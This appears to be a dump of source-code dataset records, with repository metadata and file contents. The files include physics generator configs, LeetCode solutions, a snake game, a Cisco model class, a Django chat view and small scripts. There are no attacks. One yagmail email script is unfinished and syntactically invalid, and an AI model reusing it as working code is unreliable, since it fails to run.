blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 112 | license_type stringclasses 2
values | repo_name stringlengths 5 115 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 777
values | visit_date timestamp[us]date 2015-08-06 10:31:46 2023-09-06 10:44:38 | revision_date timestamp[us]date 1970-01-01 02:38:32 2037-05-03 13:00:00 | committer_date timestamp[us]date 1970-01-01 02:38:32 2023-09-06 01:08:06 | github_id int64 4.92k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 22
values | gha_event_created_at timestamp[us]date 2012-06-04 01:52:49 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[us]date 2008-05-22 07:58:19 2023-08-21 12:35:19 ⌀ | gha_language stringclasses 149
values | src_encoding stringclasses 26
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 3 10.2M | extension stringclasses 188
values | content stringlengths 3 10.2M | authors listlengths 1 1 | author_id stringlengths 1 132 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
948ebb86ca40b10b51ec12cae852fdfceb6a1871 | 0fccee4c738449f5e0a8f52ea5acabf51db0e910 | /genfragments/ThirteenTeV/RSGraviton/RSGravToGG_kMpl001_M_1750_TuneCUEP8M1_13TeV_pythia8_cfi.py | 8b4d75c26d2acc5f26e1c21d04db8d27ff370ce5 | [] | no_license | cms-sw/genproductions | f308ffaf3586c19b29853db40e6d662e937940ff | dd3d3a3826343d4f75ec36b4662b6e9ff1f270f4 | refs/heads/master | 2023-08-30T17:26:02.581596 | 2023-08-29T14:53:43 | 2023-08-29T14:53:43 | 11,424,867 | 69 | 987 | null | 2023-09-14T12:41:28 | 2013-07-15T14:18:33 | Python | UTF-8 | Python | false | false | 1,195 | py |
import FWCore.ParameterSet.Config as cms
from Configuration.Generator.Pythia8CommonSettings_cfi import *
from Configuration.Generator.Pythia8CUEP8M1Settings_cfi import *
generator = cms.EDFilter("Pythia8GeneratorFilter",
comEnergy = cms.double(13000.0),
crossSection = cms.untracked.double(1.095e-3),... | [
"sheffield@physics.rutgers.edu"
] | sheffield@physics.rutgers.edu |
2f2dede969bf0182cd6894266f18933d349ee1fe | aaff02cda2c3422e6bb13515ee13611ae55ff383 | /P3_download_txt.py | ccd4e1e5a9d40273a86e0ac1065c9e277bbafba7 | [] | no_license | thoppe/The-Pile-CoastalZoneInformation | 53e0fccf5ea29e5f29177eaad99603827360091a | f6eea5bb8ef057b9848e35c2533588972b2e2016 | refs/heads/master | 2022-12-17T19:29:48.993160 | 2020-09-18T15:52:03 | 2020-09-18T15:52:03 | 296,663,155 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 902 | py | import json
import time
from dspipe import Pipe
import pandas as pd
from utils import govinfo_download
import bs4
n_downloads = 8
"""
Download html information for each item in the collection
Uses: https://api.govinfo.gov/docs/
"""
sleep_time = 1
def compute(f0, f1):
with open(f0) as FIN:
js = json... | [
"travis.hoppe@gmail.com"
] | travis.hoppe@gmail.com |
87e186b9281405fbc322912c664f81836e7965f2 | 1e987bd8b8be0dc1c139fa6bf92e8229eb51da27 | /deeplearning/deeptune/opencl/adversary/adversary.py | d4177ebb139b4b65260920277c2aa7bcc8dfb354 | [] | no_license | tszdanger/phd | c97091b4f1d7712a836f0c8e3c6f819d53bd0dd5 | aab7f16bd1f3546f81e349fc6e2325fb17beb851 | refs/heads/master | 2023-01-01T00:54:20.136122 | 2020-10-21T18:07:42 | 2020-10-21T18:09:06 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,402 | py | # Copyright (c) 2017-2020 Chris Cummins.
#
# DeepTune is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# DeepTune is distributed in th... | [
"chrisc.101@gmail.com"
] | chrisc.101@gmail.com |
85bf581fbd540dd8b1eabebb1f6788c9452632dd | 7ac8ea8ccc658d1461dcd2667a2ce8ef7909eea0 | /leetcode/387_First_Unique_Character_In_String_impl1.py | 285d02549911a7c34860eb0ab1852a0f5811906c | [] | no_license | aasthaagrawal/Algorithms_and_Data_Structures | a7bbfa4ce70ba873c8957c3524b612a97194682d | cd23bddc7766d13a9896356b177caeb533f2f433 | refs/heads/master | 2022-04-27T05:30:19.080934 | 2022-03-30T23:03:37 | 2022-03-30T23:03:37 | 173,667,618 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 406 | py | #https://leetcode.com/problems/first-unique-character-in-a-string/
#Complexity: O(n)
class Solution:
def firstUniqChar(self, s: str) -> int:
dict={}
for ch in s:
if ch in dict:
dict[ch]+=1
else:
dict[ch]=1
lenS=len(s)
for i in ... | [
"aasthaagrawal94@gmail.com"
] | aasthaagrawal94@gmail.com |
a765de3ae47a75802f820080bcc7a52a99106ab8 | 3c000380cbb7e8deb6abf9c6f3e29e8e89784830 | /venv/Lib/site-packages/cobra/modelimpl/bgp/bgppeermsghist1year.py | 21cdf6e25fed717376a67359a7026c66d7b1e601 | [] | no_license | bkhoward/aciDOM | 91b0406f00da7aac413a81c8db2129b4bfc5497b | f2674456ecb19cf7299ef0c5a0887560b8b315d0 | refs/heads/master | 2023-03-27T23:37:02.836904 | 2021-03-26T22:07:54 | 2021-03-26T22:07:54 | 351,855,399 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 33,676 | py | # coding=UTF-8
# **********************************************************************
# Copyright (c) 2013-2020 Cisco Systems, Inc. All rights reserved
# written by zen warriors, do not modify!
# **********************************************************************
from cobra.mit.meta import ClassMeta
from cobra.m... | [
"bkhoward@live.com"
] | bkhoward@live.com |
706cb0e8f2839adc86ec6ddc3f444e22ff4e1464 | f5f62ed1f738f1f7a863468c7d6c0cf20af490f3 | /Vorlesung/src/Chemistry/molmini_iter.py | 4480fe4b8ccf76ee2ee15bb4d15ffb59885699de | [] | no_license | AndrejLehmann/my_pfn_2019 | e0ceb7e0b999abb978c10bc15c7e05f31739b8ca | fe4d4ddb7192ecd2c0e0dbe043d72485c5ed9810 | refs/heads/master | 2020-08-31T01:53:37.486097 | 2020-04-20T20:48:08 | 2020-04-20T20:48:08 | 218,550,745 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,116 | py | #!/usr/bin/env python3
import sys, re
def molminiIterator(stream):
molecule_name = None
atom_list = list()
for line in stream:
line = line.rstrip()
m = re.search(r'^MOLECULE\s(.*)$',line)
if m:
if atom_list: # output previous molecule
yield molecule_name, atom_list # will be processed
... | [
"alehmann@physnet.uni-hamburg.de"
] | alehmann@physnet.uni-hamburg.de |
000e979fc6482932c54dc6c67b18c892d9d2849a | 519a27de1e55d639fefaa86f11b7f7fb8582736a | /launchdarkly_api/models/relay_proxy_config_body.py | 5b29836f79f923aeed58d039b9fea8ac791a1e8e | [
"Apache-2.0"
] | permissive | isabella232/api-client-python | fa3aec6633dc8effffbf9719d777a432492b9afd | 36de745c54091357bbfc0a938d537f249c12ad73 | refs/heads/master | 2023-01-13T08:02:51.811493 | 2020-11-20T01:07:03 | 2020-11-20T01:07:03 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,985 | py | # coding: utf-8
"""
LaunchDarkly REST API
Build custom integrations with the LaunchDarkly REST API # noqa: E501
OpenAPI spec version: 3.9.0
Contact: support@launchdarkly.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
... | [
"team@launchdarkly.com"
] | team@launchdarkly.com |
7dad64ef5511ed334935d2c3505140f33570b4c1 | a574d0c0ebc8e17eb641777f93544c0ae43850c9 | /part_4/5.1.6_todo_item.py | af17e0e5083d707008137edeb2b80c4d369efe2e | [] | no_license | broepke/GTx | 1e33c97d0f86e95124ceb5f0436f965154822466 | e12143c9b1fc93d4489eb0f6c093637503139bf6 | refs/heads/master | 2020-04-08T09:35:41.884572 | 2020-01-03T03:37:34 | 2020-01-03T03:37:34 | 159,230,824 | 3 | 2 | null | null | null | null | UTF-8 | Python | false | false | 2,724 | py | # Here's a long one -- you can do it!
#
# Rewrite the following class so that it uses getters and
# setters for all three variables (title, description,
# completed). The getters should be called: getTitle,
# getDescription, getCompleted. The setters should be
# called: setTitle, setDescription, setCompleted.
#
# In a... | [
"broepke@gmail.com"
] | broepke@gmail.com |
33829a11ace2c8a0262e979091a775c8875a5fba | 55628a9a08a6b6646b4a8aa74bedbf2e3fd7d850 | /.history/master_20200119185802.py | 2e2332d889a122d2073bee1882692f6c05a0fd98 | [] | no_license | StRobertCHSCS/final-project-team | c115dc11b318f7ac782c94860a8801bb558bd107 | 48907e72813c4dd3b48ff36f794f6fce04533219 | refs/heads/master | 2020-12-03T22:35:37.833893 | 2020-01-31T04:05:38 | 2020-01-31T04:05:38 | 231,506,873 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,514 | py | '''
-**make snake longer when eaten
- FIGURE OUT HOW TO KNOW WHERE TO ADD THE NEXT BLOCK (MOVE LAST LOCATION TO BACK)
-fix player_location lists, so that the list only has the location of the current snake location, not infinite list (done)
- fix apple so disappers when you go over it (done)
'''
import arcade
imp... | [
"clementina1023@gmail.com"
] | clementina1023@gmail.com |
27548617341d262fe29970a4f8c9f592a43feeca | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03711/s290757872.py | b7759c6add1c0237b19579043e30827517c55bd5 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 198 | py | lis1=[1,3,5,7,8,10,12]
lis2=[4,6,9,11]
lis3=[2]
x,y=map(int,input().split())
if (x in lis1 and y in lis1) or (x in lis2 and y in lis2) or(x in lis3 and y in lis3):
print("Yes")
else:
print("No") | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
a9e0f8596b949a2536ccac3cb8b28583ab19e3c4 | 7fd9f0800ffb5b6314e2163395ccc03820a48ff0 | /Data Structure Problems/Tree/balanced_tree_1.py | 32534edb10829e1f3e9c83b82697580c3089215c | [] | no_license | aadarshraj4321/Python-Small-Programs-And-Algorithms | 126b4a984f3dc99a8b42a13fc794d3d5c616757b | 599cfb1d6607fd68f6de37c4dd95587956012435 | refs/heads/master | 2023-05-02T13:18:49.353029 | 2023-04-28T18:27:02 | 2023-04-28T18:27:02 | 300,174,774 | 1 | 2 | null | null | null | null | UTF-8 | Python | false | false | 1,947 | py |
class Binary:
def __init__(self, value):
self.data = value
self.left = None
self.right = None
class BinaryDetails:
def isBalanced(self, root):
if(root == None):
return True
left = self.height(root.left)
right = self.height(root.right)... | [
"noreply@github.com"
] | aadarshraj4321.noreply@github.com |
b6b2a15e934bde78e5d7274818ca4e4b140864c7 | 4d0266a4554a93bba316f70548c2f4916834b1a8 | /code/DiscreteBound.py | 9617e260480b46da1d78b79b4766fedd99c076cd | [] | no_license | seferlab/DHREC | 864c2c2d4076f8de85697b097a90e2ce549db1cd | b8a9f5274321e14ecc486f4cad02417dbc5658ce | refs/heads/master | 2022-12-27T16:14:54.145795 | 2020-09-29T12:25:27 | 2020-09-29T12:25:27 | 299,609,232 | 0 | 0 | null | 2020-09-29T12:23:25 | 2020-09-29T12:23:24 | null | UTF-8 | Python | false | false | 34,393 | py | import networkx as nx
import numpy as np
import scipy as sp
import scipy.optimize
import random
import math
import sys
sys.path.append("./lib")
import os
import operator
from copy import deepcopy
import myutilities as myutil
from Trace import Trace
from Constraint import Constraint
from InputOutput import InputOutput
f... | [
"70752445+seferlab@users.noreply.github.com"
] | 70752445+seferlab@users.noreply.github.com |
e04a2e0d8a79be52d4b588ccc3673e70908c7f01 | f0d713996eb095bcdc701f3fab0a8110b8541cbb | /B6M8jqcq3nP4gDPEi_20.py | 3e0a5a311078b0ec848dd390d68876106fbb1f43 | [] | no_license | daniel-reich/turbo-robot | feda6c0523bb83ab8954b6d06302bfec5b16ebdf | a7a25c63097674c0a81675eed7e6b763785f1c41 | refs/heads/main | 2023-03-26T01:55:14.210264 | 2021-03-23T16:08:01 | 2021-03-23T16:08:01 | 350,773,815 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,127 | py | """
Write a function that extracts the max value of a number in a list. If there
are **two or more** max values, return it **as a list** , otherwise, return
the **number**. This process could be relatively easy with some of the built-
in list functions but the required approach is **recursive**.
### Examples
i... | [
"daniel.reich@danielreichs-MacBook-Pro.local"
] | daniel.reich@danielreichs-MacBook-Pro.local |
1023bde40f71e7f8dded4fca6320f65db221f8e2 | dc7975b075ab53fad27ad96f91d13349375bb58f | /quest/sport_ticket/code/zansa.py | 5beb13f8b71807a0a83cfb8db637bd6b93ed192f | [] | no_license | ducksfrogs/signate_quest | 21a5e71b9648f6b967f0dcce52f344af0b902e6b | 9fad8592bdecaaed1258986c83b855fad1dbdf1d | refs/heads/main | 2023-03-09T18:19:06.325975 | 2021-02-19T07:56:42 | 2021-02-19T07:56:42 | 311,630,010 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,226 | py | import pandas as pd
import numpy as np
from sklearn.linear_model import LinearRegression
from sklearn.preprocessing import train_test_split
from sklearn.metrics import mean_squared_error as MSE
select_columns = ['id', 'y','capa','week','home','away','stage', 'tv_num', 'month','weather']
dummy_data_all = pd.get_dummi... | [
"ma_yamaki@yahoo.com"
] | ma_yamaki@yahoo.com |
a2c13330032c945dbc91b221d8a484626b442352 | 6b2a8dd202fdce77c971c412717e305e1caaac51 | /solutions_1673486_0/Python/kaw/problem_a.py | 794fa0938d2df56a8065c76bc9f48a8a7c0e88d5 | [] | no_license | alexandraback/datacollection | 0bc67a9ace00abbc843f4912562f3a064992e0e9 | 076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf | refs/heads/master | 2021-01-24T18:27:24.417992 | 2017-05-23T09:23:38 | 2017-05-23T09:23:38 | 84,313,442 | 2 | 4 | null | null | null | null | UTF-8 | Python | false | false | 721 | py | import sys
f = open(sys.argv[1])
N = int(f.readline().split()[0])
for i in range(N):
line = f.readline().split()
A = int(line[0])
B = int(line[1])
line = f.readline().split()
prob = []
if A > 0:
prob.append(float(line[0]))
for j in range(A-1):
prob.append(prob[j]*float(line[j+1]))
expect... | [
"eewestman@gmail.com"
] | eewestman@gmail.com |
fc5dbe199811fa7292c9ef886efc9ff593e42bf7 | 6be8aa517e679b33b47d35f100e6590902a8a1db | /Greedy/Dijkstra/Problem07.py | b5ad205e461b792ab240bd6e8c4cbd129c102cca | [] | no_license | LeeJuhae/Algorithm-Python | 7ca4762712e5e84d1e277abecb3bf39c9cbd4e56 | 729947b4428205adfbac194a5527b0eeafe1c525 | refs/heads/master | 2023-04-24T01:02:36.430970 | 2021-05-23T07:17:25 | 2021-05-23T07:17:25 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 720 | py | # https://www.acmicpc.net/problem/1261
import heapq
import sys
d = ((0, 1), (0, -1), (1, 0), (-1, 0))
read = sys.stdin.readline
n, m = map(int, read().strip().split())
maze = [[e for e in map(int, list(read().strip()))] for _ in range(m)]
q = [(0, 0, 0)]
length = [[float('inf')] * n for _ in range(m)]
length[0][0] = ... | [
"gusdn0657@gmail.com"
] | gusdn0657@gmail.com |
2da0ffaba4115f65c4fbffd1c21915c15287566b | bb1c92405da3e91fdbf7c3b2395b900409de5a1f | /pytorch/cnn/data/download.py | 98c29a0ecd8c81755ef54f61986fdc0997c4f485 | [] | no_license | x007007007/learn-ml | 7af9519e9dba8024fa8fca9b8db2294d4afdcf71 | ecf7407e8dec78e19d7f194e973610eb7e896585 | refs/heads/master | 2022-12-12T05:28:39.121920 | 2020-03-19T13:41:16 | 2020-03-19T13:41:16 | 247,480,361 | 0 | 0 | null | 2022-11-22T05:24:17 | 2020-03-15T14:17:22 | Python | UTF-8 | Python | false | false | 886 | py | import torch
import torch.nn as nn
import torch.utils.data as Data
import torchvision # 数据库模块
import matplotlib.pyplot as plt
torch.manual_seed(1) # reproducible
# Hyper Parameters
EPOCH = 1 # 训练整批数据多少次, 为了节约时间, 我们只训练一次
BATCH_SIZE = 50
LR = 0.001 # 学习率
DOWNLOAD_MNIST = True # 如果你已经下载好了mnis... | [
"x007007007@hotmail.com"
] | x007007007@hotmail.com |
d1270f2d1a0a0f49de2674b7a8c8a103a93279fa | 704bb60286a6933486cec3134d19bfcae864ee8a | /sealdesigner/chatroom/views.py | 39d916a90fc5d1d167f722579e5b0dd3c67c6f69 | [] | no_license | yuzp1996/seal-1 | bec0fc3930bfcb54235ad40953f67e91cf6adc4b | 28aead1f9dd9cf7369a188613b0ef990e92757a7 | refs/heads/master | 2021-08-06T07:58:19.104583 | 2017-11-04T03:18:01 | 2017-11-04T03:18:01 | 109,463,822 | 0 | 0 | null | 2017-11-04T03:28:15 | 2017-11-04T03:28:15 | null | UTF-8 | Python | false | false | 6,335 | py | # -*- coding: utf-8 -*-
# coding=utf-8
from django.shortcuts import render_to_response
from django.http import HttpResponse,HttpResponseRedirect
# from django.template import RequestContext
from Seal.models import Administrator
from Users.models import User
from django.core.cache import cache
# from django import forms... | [
"w_angzhiwen@163.com"
] | w_angzhiwen@163.com |
aa97599cb3e1278629371dce33bcb387abaf6dba | 3d19e1a316de4d6d96471c64332fff7acfaf1308 | /Users/M/morth123/ba.py | 0d2c775e055f95041946f7d0254583af1b4e8487 | [] | no_license | BerilBBJ/scraperwiki-scraper-vault | 4e98837ac3b1cc3a3edb01b8954ed00f341c8fcc | 65ea6a943cc348a9caf3782b900b36446f7e137d | refs/heads/master | 2021-12-02T23:55:58.481210 | 2013-09-30T17:02:59 | 2013-09-30T17:02:59 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 456 | py | url = "https://apply.ukba.homeoffice.gov.uk/secure/appointmentBooking"
import urllib
print urllib.urlopen(url).read()
url = "https://apply.ukba.homeoffice.gov.uk/secure/appointmentBooking"
import urllib ... | [
"pallih@kaninka.net"
] | pallih@kaninka.net |
1b7d800346be167cab776a49678eb47955fca097 | ae6189642a07fd789f51caadb924328a54919cac | /100-problems/d-star.py | e99de3b5652f50064013e967289038e72d8aa04f | [] | no_license | d-matsui/atcorder | 201e32403653b2fdf0d42188faf095eb8b793b86 | 22ec1af8206827e10a986cb24cf12acc52ab1d6a | refs/heads/master | 2020-09-27T23:15:27.281877 | 2020-09-01T13:24:34 | 2020-09-01T13:24:34 | 226,632,569 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,753 | py | #!/usr/bin/env python3
m = int(input())
target = []
for i in range(m):
l = list(map(int, input().split()))
target.append(l)
n = int(input())
pic = []
for i in range(n):
l = list(map(int, input().split()))
pic.append(l)
# print(m, n)
# print(target)
# print(pic)
# 解法
# 星座の中から一点pを選ぶ
# pが写真の中のn個の星の一つq... | [
"mti.daiki@gmail.com"
] | mti.daiki@gmail.com |
4cf96368f9cd3a95d853b00122017422b4bd548c | ebd5c4632bb5f85c9e3311fd70f6f1bf92fae53f | /P.O.R.-master/pirates/effects/ExplosionCloud.py | 2b82d74ea738186a6e68fa48000b5a596c82c6c2 | [] | no_license | BrandonAlex/Pirates-Online-Retribution | 7f881a64ec74e595aaf62e78a39375d2d51f4d2e | 980b7448f798e255eecfb6bd2ebb67b299b27dd7 | refs/heads/master | 2020-04-02T14:22:28.626453 | 2018-10-24T15:33:17 | 2018-10-24T15:33:17 | 154,521,816 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 4,284 | py | from pandac.PandaModules import *
from direct.interval.IntervalGlobal import *
from direct.particles import ParticleEffect
from direct.particles import Particles
from direct.particles import ForceGroup
from PooledEffect import PooledEffect
from EffectController import EffectController
import random
class ExplosionClou... | [
"brandoncarden12345@gmail.com"
] | brandoncarden12345@gmail.com |
426f63fc8655c3d062e5b7cbd1dd525bc7e896ba | 1da4a8db382317239b2ed84f26567f245cea1f66 | /mysite/tests.py | c68cd14fe4d98d120cb0719c1195e58d34a51e3d | [] | no_license | Dushupython/final_project | 5ede0647ad380e4e9390feb1b0d3d8c482ceb701 | 7b68cf0250791ac1a78c3e6910955181aae5a71c | refs/heads/master | 2022-04-24T18:45:29.609324 | 2020-04-21T15:16:40 | 2020-04-21T15:16:40 | 245,282,701 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 123 | py | from django.test import TestCase
# Create your tests here.
from users_app.models import Profile
# Create your tests here.
| [
"you@example.com"
] | you@example.com |
618f8f45841b0f1bd2665ca3a0be2a3711a4e83c | 50afc0db7ccfc6c80e1d3877fc61fb67a2ba6eb7 | /challenge17(backOnTime)/solutions/SnarfyKat.py | f503a49e4159999158a3403da67743263752d108 | [
"MIT"
] | permissive | banana-galaxy/challenges | 792caa05e7b8aa10aad8e04369fc06aaf05ff398 | 8655c14828607535a677e2bb18689681ee6312fa | refs/heads/master | 2022-12-26T23:58:12.660152 | 2020-10-06T13:38:04 | 2020-10-06T13:38:04 | 268,851,516 | 11 | 8 | MIT | 2020-09-22T21:21:30 | 2020-06-02T16:24:41 | Python | UTF-8 | Python | false | false | 480 | py | def solution(directions):
if len(directions) > 10:
return False
starting_location = {'x': 0, 'y': 0}
location = starting_location.copy()
for direction in directions:
if direction == 'n':
location['y'] += 1
elif direction == 's':
location['y'] -= 1
... | [
"cawasp@gmail.com"
] | cawasp@gmail.com |
77461116141d3994f14f0cc7d8d933e7b7b8b6c1 | 9f1db0cce0aebc6c14c7e3c4adfa424bbc20c968 | /project/bmd/bmds/bmds.py | 327698319c5d14e1fb23e826518f792a4ad27a6f | [] | no_license | JoshAddington/hawc | 6b8f9efb0dec2aeb972a66a636dfc7493502003b | 28cb8a2690ba934134c4dd4660d51e573cd6b895 | refs/heads/master | 2020-12-25T17:16:05.746517 | 2016-06-10T18:03:32 | 2016-06-10T18:03:32 | 44,217,584 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,727 | py | #usr/bin/python
import bmd_models
from os.path import join
from django.conf import settings
class BMDS_v230(object):
model_path = join(settings.BMD_ROOT_PATH, 'BMDS230')
temp_path = settings.TEMP_PATH
models = {
'D': { # 'Dichotomous-Hill' : bmd_models.DichotomousHill_12, # todo: add
... | [
"shapiromatron@gmail.com"
] | shapiromatron@gmail.com |
07236c9bd7f924c9e6a92550f0ed36f1dedcf7b2 | 5c2065b0650ce9357fe8ccf5427a9f47fab32f74 | /resource/order.py | ac6809efc84b0d7f6bf139b0d71d1a0ab24845a2 | [
"MIT"
] | permissive | pulkitsapra/flask-online-store | 276e62b3c9c97e31d1e2426402b74f6676d24329 | 43b96522126c84ecb4c646ce7282ddd7f7d933fa | refs/heads/master | 2022-12-24T20:31:20.738646 | 2020-10-03T10:06:32 | 2020-10-03T10:06:32 | 301,019,800 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,049 | py | from flask_restful import Resource
from flask import request
from model.item import ItemModel
from model.order import OrderModel,ItemsInOrder
from schemas.order import OrderSchema
from collections import Counter
order_schema=OrderSchema()
class Order(Resource):
@classmethod
def post(cls):
data= r... | [
"diptochuck123@gmail.com"
] | diptochuck123@gmail.com |
36c7ad177b2ffbd6833120ea709ed0d4a0b99128 | 9c85714d3b7cfeb7505a4dcf68e559d727b8f62a | /InstanceMaterial/Evaluator.py | 07d1524d1d4eb7901fa28f6b2c8e76a7e201dfa4 | [
"MIT"
] | permissive | aspuru-guzik-group/Instance-segmentation-of-images-of-materials-in-transparent-vessels-using-GES-net- | 9ba267052a95d681296410e8a5fd7324d2ae99bd | 82afdbbfd3cef673e183ecb1107d61221445089f | refs/heads/master | 2021-11-26T10:16:41.639855 | 2021-10-08T21:07:38 | 2021-10-08T21:07:38 | 244,291,317 | 3 | 1 | null | null | null | null | UTF-8 | Python | false | false | 7,149 | py | ## Evaluator for evaluating net accuracy against test data
import numpy as np
import os
import LabPicsMaterialInstanceReader as LabPicsInstanceReader
import torch
CatName={}
CatName[0]='Empty'
CatName[1]='Vessel'
CatName[2]='V Label'
CatName[3]='V Cork'
CatName[4]='V Parts GENERAL'
CatName[5]='Ignore'
CatName[6]='Liq... | [
"sagieppel@gmail.com"
] | sagieppel@gmail.com |
c0e0e25c811ed13ca7d9fa3eae996789d278e9ac | e3365bc8fa7da2753c248c2b8a5c5e16aef84d9f | /indices/roundelay.py | 33a3eb90f6782804777715774f6a3c540ea87689 | [] | no_license | psdh/WhatsintheVector | e8aabacc054a88b4cb25303548980af9a10c12a8 | a24168d068d9c69dc7a0fd13f606c080ae82e2a6 | refs/heads/master | 2021-01-25T10:34:22.651619 | 2015-09-23T11:54:06 | 2015-09-23T11:54:06 | 42,749,205 | 2 | 3 | null | 2015-09-23T11:54:07 | 2015-09-18T22:06:38 | Python | UTF-8 | Python | false | false | 63 | py | ii = [('BailJD2.py', 1), ('HowiWRL2.py', 2), ('BrewDTO.py', 1)] | [
"prabhjyotsingh95@gmail.com"
] | prabhjyotsingh95@gmail.com |
d57c6b65c5ea3bd18b52da2ea23674defa78a162 | 368c66467b78adf62da04cb0b8cedd2ef37bb127 | /SW expert/python/1948_날짜계산기.py | 6bf53fc996c91a01eb46274d0962c94c448a32dd | [] | no_license | DJHyun/Algorithm | c8786ddcd8b5693fc9b3b4721fdf1eeda21611c5 | fd6ae800886dac4ec5ff6cf2618bc2c839a76e7a | refs/heads/master | 2020-07-30T16:32:49.344329 | 2020-02-25T07:59:34 | 2020-02-25T07:59:34 | 210,289,983 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 561 | py | # SW Expert Academy
import sys
sys.stdin = open('input.txt', 'r')
T = int(input())
for test_case in range(1, T + 1):
a, b, x, y = map(int, input().split())
result = 0
m = {
1: 31, 2: 28, 3: 31, 4: 30, 5: 31, 6: 30, 7: 31, 8: 31, 9: 30, 10: 31, 11: 30, 12: 31
}
if a == x:
result +=... | [
"djestiny4444@naver.com"
] | djestiny4444@naver.com |
f1cf3d968adf98d5c5b049a61f45e5aeed30f3bb | 3b00b9f48a8a51012bfd06281015a9165b5cdaa1 | /tests/test_num_mesh.py | 84e243614116f4a8cd4f735d6ade6a0cebd639cc | [
"MIT"
] | permissive | eng-tools/sfsimodels | fb10f6330293fa9f89f544143607aa21fdd14d4c | 2679aa062bd926f530ec5dc1078638785d373840 | refs/heads/master | 2023-02-16T03:12:58.500501 | 2022-12-01T01:40:08 | 2022-12-01T01:40:08 | 108,258,240 | 7 | 2 | MIT | 2023-02-08T00:41:00 | 2017-10-25T11:00:52 | Python | UTF-8 | Python | false | false | 8,042 | py | import sfsimodels as sm
from sfsimodels.num.mesh import mesh2d_vary_y
import numpy as np
def test_two_d_mesh():
rho = 1.8
sl1 = sm.Soil(g_mod=50, unit_dry_weight=rho * 9.8, poissons_ratio=0.3)
sl2 = sm.Soil(g_mod=100, unit_dry_weight=rho * 9.8, poissons_ratio=0.3)
sl3 = sm.Soil(g_mod=400, unit_dry_wei... | [
"maxim.millen@gmail.com"
] | maxim.millen@gmail.com |
ef5f360a91e9cc2e82ae438e20b1b75aa8a76dcf | 270d7f88e47683abd55c0191466c80513b2aa9f9 | /pytorch_toolbelt/modules/decoders/unet.py | ec4b83029ed84d101556bcca85d623ad124a34ec | [
"MIT"
] | permissive | williamberrios/pytorch-toolbelt | abdf8e455a4ffc79d2afbc92e80005a821fb97a9 | 4a24e6324b8270d31c08b8b2f667d740b9823377 | refs/heads/master | 2023-07-06T06:35:24.197821 | 2021-08-12T07:47:20 | 2021-08-12T07:47:20 | 400,866,088 | 1 | 0 | MIT | 2021-08-28T18:43:12 | 2021-08-28T18:43:12 | null | UTF-8 | Python | false | false | 4,109 | py | from typing import List, Union, Type
import torch
from torch import nn
from .common import DecoderModule
from .. import DeconvolutionUpsample2d
from ..unet import UnetBlock
__all__ = ["UNetDecoder"]
class UNetDecoder(DecoderModule):
def __init__(
self,
feature_maps: List[int],
decoder_f... | [
"ekhvedchenya@gmail.com"
] | ekhvedchenya@gmail.com |
670969f570d1711741319eecbf5e59ce8d540ee0 | 42567f420d4a32f1347e2923b103c889c5cb6375 | /send_mail.py | 7438b5616090166644fa65b517df86acd7277d59 | [] | no_license | Menah3m/python_work | 0b24809fee29bb349816630086f450c84ebe9f89 | 0c78610d1bb32d54efce02dcaee518feb58934fe | refs/heads/master | 2020-09-13T08:08:35.799251 | 2020-07-11T05:48:21 | 2020-07-11T05:48:21 | 222,705,828 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 212 | py | # Name:send_mail
# Author:Yasu
# Time:2020/3/17
import yagmail
USER = 'dawnwhite0@163.com'
PASSWORD = ' '
HOST = 'smtp.163.com'
CONTENT =
if __name__ = '__main__':
yag = yagmail.SMTP(USER, PASSWORD, HOST)
| [
"568200065@qq.com"
] | 568200065@qq.com |
818fe4c3440a0b83c3a7b34007caffde84438645 | ecba842cc189499da2c98248e92a458dbcc0dc67 | /apps/website/news/urls.py | 3757790d1ce33afe92751ee8f4fc3ca08f0511b6 | [] | no_license | aquaristar/hhlearn | c23e94ab93221419db74409f44d8310244212190 | ec409b7886bacb33cd3f5c3a724243a30158cd54 | refs/heads/master | 2023-03-10T15:46:39.740438 | 2019-11-16T19:19:02 | 2019-11-16T19:19:02 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 194 | py | from django.conf.urls import patterns, include, url
urlpatterns = patterns('apps.website.news.views',
url(r'^news/$', 'news', name='benefits'),
) | [
